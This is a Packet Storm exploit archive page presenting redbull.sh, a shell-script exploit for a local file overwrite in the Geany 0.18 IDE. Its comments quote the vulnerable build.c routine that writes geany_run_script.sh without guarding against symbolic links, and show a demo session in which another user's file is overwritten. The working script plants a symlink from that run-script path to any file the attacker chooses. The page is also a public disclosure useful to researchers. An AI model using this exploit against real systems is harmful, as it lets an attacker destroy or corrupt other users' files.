what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Geany 0.18 Local File Overwrite

Geany 0.18 Local File Overwrite
Posted Oct 6, 2009
Authored by Jeremy Brown | Site jbrownsec.blogspot.com

Geany version 0.18 local file overwrite exploit.

tags | exploit, local
SHA-256 | a7a3082a458cb9a5407ee29030388b9fd81db7ce126fa8d2139b4e3d1b97f6f9

Geany 0.18 Local File Overwrite

Change Mirror Download
#!/bin/sh
# redbull.sh
# AKA
# Geany 0.18 Local File Overwrite Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 10.06.2009
#
# *********************************************************************************************************
# I was checking out some IDEs and decided on Geany. Nice interface, good features, but it doesn't defend
# against symbolic links when writing the run script used for executing files after compiliation.
#
# geany-0.18/src/build.c
#
# LINES 981-1010
#
# static gboolean build_create_shellscript(const gchar *fname, const gchar *cmd, gboolean autoclose)
# {
# FILE *fp;
# gchar *str;
# #ifdef G_OS_WIN32
# gchar *expanded_cmd;
# #endif
#
# fp = g_fopen(fname, "w");
# if (! fp)
# return FALSE;
# #ifdef G_OS_WIN32
# /* Expand environment variables like %blah%. */
# expanded_cmd = win32_expand_environment_variables(cmd);
# str = g_strdup_printf("%s\n\n%s\ndel \"%%0\"\n\npause\n", expanded_cmd, (autoclose) ? "" : "pause");
# g_free(expanded_cmd);
# #else
# str = g_strdup_printf(
# "#!/bin/sh\n\n%s\n\necho \"\n\n------------------\n(program exited with code: $?)\" \
# \n\n%s\n", cmd, (autoclose) ? "" :
# "\necho \"Press return to continue\"\n#to be more compatible with shells like dash\ndummy_var=\"\"\nread dummy_var");
# #endif
#
# fputs(str, fp);
# g_free(str);
#
# fclose(fp);
#
# return TRUE;
# }
#
# Not a big deal since the script is generated in the working directory that Geany is executing the compiled
# program, but, none the less exploitable if the attacker can create a symbolic link in the working directory.
#
# linux@ubuntu:~$ ls -al important
# -rwx------ 1 linux linux 5 2009-10-06 14:10 important
# linux@ubuntu:~$ cat important
# *data*
# linux@ubuntu:~$
#
# hacker@linux:~$ sh redbull.sh /tmp /home/linux/important
#
# Geany 0.18 Local File Overwrite Exploit
#
# [*] Creating symbolic link from /tmp/geany_run_script.sh to /home/linux/important...
#
# [*] /home/linux/important should be overwritten when Geany executes a program in /tmp
#
# hacker@linux:~$
#
# ***** Geany executes a program in /tmp *****
#
# linux@ubuntu:~$ cat important
# #!/bin/sh
#
# rm $0
#
# "./c"
#
# echo "
#
# ------------------
# (program exited with code: $?)"
#
#
# echo "Press return to continue"
# #to be more compatible with shells like dash
# dummy_var=""
# read dummy_var
# linux@ubuntu:~$
#
# Due to an Ubuntu's bug reporting system handler's possible lack of zeal (they argued overwriting the
# instruction pointer in a program when parsing a file format isn't a security issue because the program
# also interepts shell commands), I'm not very excited to try and work with them too much these days...
# *********************************************************************************************************
# redbull.sh

FILE=geany_run_script.sh

if [ "$2" = "" ]; then
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "Usage: $0 </target/working/dir> <file.to.overwrite>"
echo "Example: $0 /tmp /home/user/important"
echo
exit
fi

echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "[*] Creating symbolic link from $1/$FILE to $2..."
ln -s $2 $1/$FILE
echo
echo "[*] $2 should be overwritten when Geany executes a program in $1"
echo
exit
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close